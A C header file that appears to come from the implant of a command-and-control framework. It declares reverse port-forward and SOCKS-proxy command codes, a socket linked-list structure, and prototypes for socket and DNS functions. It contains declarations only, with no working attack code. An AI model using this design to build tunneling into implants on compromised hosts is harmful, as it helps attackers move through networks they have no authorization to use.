Files
2023-11-13 13:46:31 +01:00

104 lines
2.6 KiB
C

#include <winsock2.h>
#define SOCKET_TYPE_NONE 0x0
#define SOCKET_TYPE_REVERSE_PORTFWD 0x1
#define SOCKET_TYPE_REVERSE_PROXY 0x2
#define SOCKET_TYPE_CLIENT 0x3
#define SOCKET_COMMAND_RPORTFWD_ADD 0x0
#define SOCKET_COMMAND_RPORTFWD_ADDLCL 0x1
#define SOCKET_COMMAND_RPORTFWD_LIST 0x2
#define SOCKET_COMMAND_RPORTFWD_CLEAR 0x3
#define SOCKET_COMMAND_RPORTFWD_REMOVE 0x4
#define SOCKET_COMMAND_SOCKSPROXY_ADD 0x5
#define SOCKET_COMMAND_SOCKSPROXY_LIST 0x6
#define SOCKET_COMMAND_SOCKSPROXY_REMOVE 0x7
#define SOCKET_COMMAND_SOCKSPROXY_CLEAR 0x8
#define SOCKET_COMMAND_OPEN 0x10
#define SOCKET_COMMAND_READ 0x11
#define SOCKET_COMMAND_WRITE 0x12
#define SOCKET_COMMAND_CLOSE 0x13
#define SOCKET_COMMAND_CONNECT 0x14
/* Errors */
#define SOCKET_ERROR_ALREADY_BOUND 0x1
typedef struct sockaddr_in6 {
ADDRESS_FAMILY sin6_family;
USHORT sin6_port;
ULONG sin6_flowinfo;
IN6_ADDR sin6_addr;
union {
ULONG sin6_scope_id;
SCOPE_ID sin6_scope_struct;
};
} SOCKADDR_IN6_LH, *PSOCKADDR_IN6_LH, *LPSOCKADDR_IN6_LH;
typedef struct _SOCKET_DATA
{
DWORD ID;
DWORD ParentID;
SOCKET Socket;
/* what kind of socket this is */
DWORD Type;
/* Is marked to be removed? */
BOOL ShouldRemove;
/* Bind Host and Port data */
DWORD IPv4;
PBYTE IPv6;
DWORD LclPort;
/* Forward Host and Port data */
DWORD FwdAddr;
DWORD FwdPort;
/* pointer to the next Socket data */
struct _SOCKET_DATA* Next;
} SOCKET_DATA, *PSOCKET_DATA;
/*!
* Initiates the use of the Winsock DLL.
* This is needed for Socks5 and HTTP(S) agents.
* @return TRUE or FALSE
*/
BOOL InitWSA( VOID );
/*!
* Create a new socket and insert it into the linked list.
* if Type param is not SOCKET_TYPE_NONE then it is going to bind
* to the specified Address and Port.
* @param Socket
* @param Type
* @param UseIpv4
* @param IPv4
* @param IPv6
* @param LclPort
* @param FwdAddr
* @param FwdPort
* @param ParentID
* @return SocketData object pointer
*/
PSOCKET_DATA SocketNew( SOCKET WinSock, DWORD Type, BOOL UseIpv4, DWORD IPv4, PBYTE IPv6, DWORD LclPort, DWORD FwdAddr, DWORD FwdPort, DWORD ParentID );
/* Check for new connections, read everything from the sockets and or close "dead" sockets */
VOID SocketPush();
/*!
* Query the IPv4 from the specified domain
* @param Domain
* @return IPv4 address
*/
DWORD DnsQueryIPv4( LPSTR Domain );
/*!
* Query the IPv6 from the specified domain
* @param Domain
* @return IPv6 address
*/
PBYTE DnsQueryIPv6( LPSTR Domain );